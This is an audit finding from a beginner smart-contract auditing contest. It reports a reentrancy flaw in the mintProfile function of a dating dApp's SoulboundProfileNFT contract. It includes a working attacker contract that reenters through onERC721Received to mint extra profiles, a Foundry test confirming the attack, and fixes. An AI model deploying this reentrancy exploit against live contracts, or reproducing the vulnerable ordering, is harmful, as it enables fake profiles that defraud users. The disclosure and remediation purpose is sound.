DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in SoulboundProfileNFT::mintProfile allows an user to create fake profiles by minting multiple profile NFTs.

Summary

The mintProfile function in the SoulboundProfileNFT contract is vulnerable to a reentrancy attack due to the use of _safeMint before updating the contract's state. Specifically, the profileToToken mapping. This allows an attacker to mint multiple NFTs in a single transaction by exploiting the onERC721Received callback.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Vulnerability Details

1. State Update After External Call

The function calls _safeMint before updating the profileToToken mapping. _safeMint internally calls onERC721Received on the recipient contract (if the recipient is a contract), allowing an attacker to reenter mintProfile.

2. Reentrancy Exploit

An attacker can deploy a malicious contract that implements onERC721Received to reenter mintProfile before profileToToken[msg.sender] is updated. This allows bypassing the require(profileToToken[msg.sender] == 0) check and minting multiple NFTs.

Impact

This allows a user to create multiple fake profiles on the protocol, enabling catfishing and potentially making other users pay 1 ETH to like a fake profile.

Tools Used

  • Manual Review

  • Foundry

Proof of Concept

We create a MaliciousMinter contract that exploits the vulnerability to mint multiple NFTs. This proof-of-concept mints one extra token, but the logic can be modified to mint an unlimited number.

///////////////////////////////////////////
// Contract to Reenter Mint Function
///////////////////////////////////////////
contract MaliciousMinter {
SoulboundProfileNFT _soulboundNFTContract;
uint256 count;
constructor(address soulboundNFTcontract) {
_soulboundNFTContract = SoulboundProfileNFT(soulboundNFTcontract);
}
function mintToken(string memory name, uint8 age, string memory profileImage) public {
_soulboundNFTContract.mintProfile(name, age, profileImage);
}
function onERC721Received(
address /* operator */,
address /* from */,
uint256 /* tokenId */,
bytes calldata /* data */
) external returns (bytes4) {
count++;
// The attacker can mint unlimited profile NFTs by calling mintProfile here
if (count == 1) {
_soulboundNFTContract.mintProfile("Alice", 25, "ipfs://profileImage2");
}
return MaliciousMinter.onERC721Received.selector;
}
}

Test Case

Deploy MaliciousMinter with the NFT contract address, then add the following test:

function test_user_can_mint_multipleNFTs() public {
vm.prank(user);
maliciousMinter.mintToken("Bob", 26, "ipfs://profileImage1");
// The attacker should have 2 NFTs instead of 1
vm.assertEq(soulboundNFT.balanceOf(address(maliciousMinter)), 2);
}

This test passes, confirming that an attacker can mint more than one NFT.

Recommendations

1. Update State Before External Calls

Modify mintProfile to update state variables before calling _safeMint:

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

2. Use Reentrancy Guard

Add OpenZeppelin's ReentrancyGuard to prevent reentrancy attacks:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SoulboundProfileNFT is ReentrancyGuard {
function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
}

More details: OpenZeppelin ReentrancyGuard

Updates

Appeal created

n0kto Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.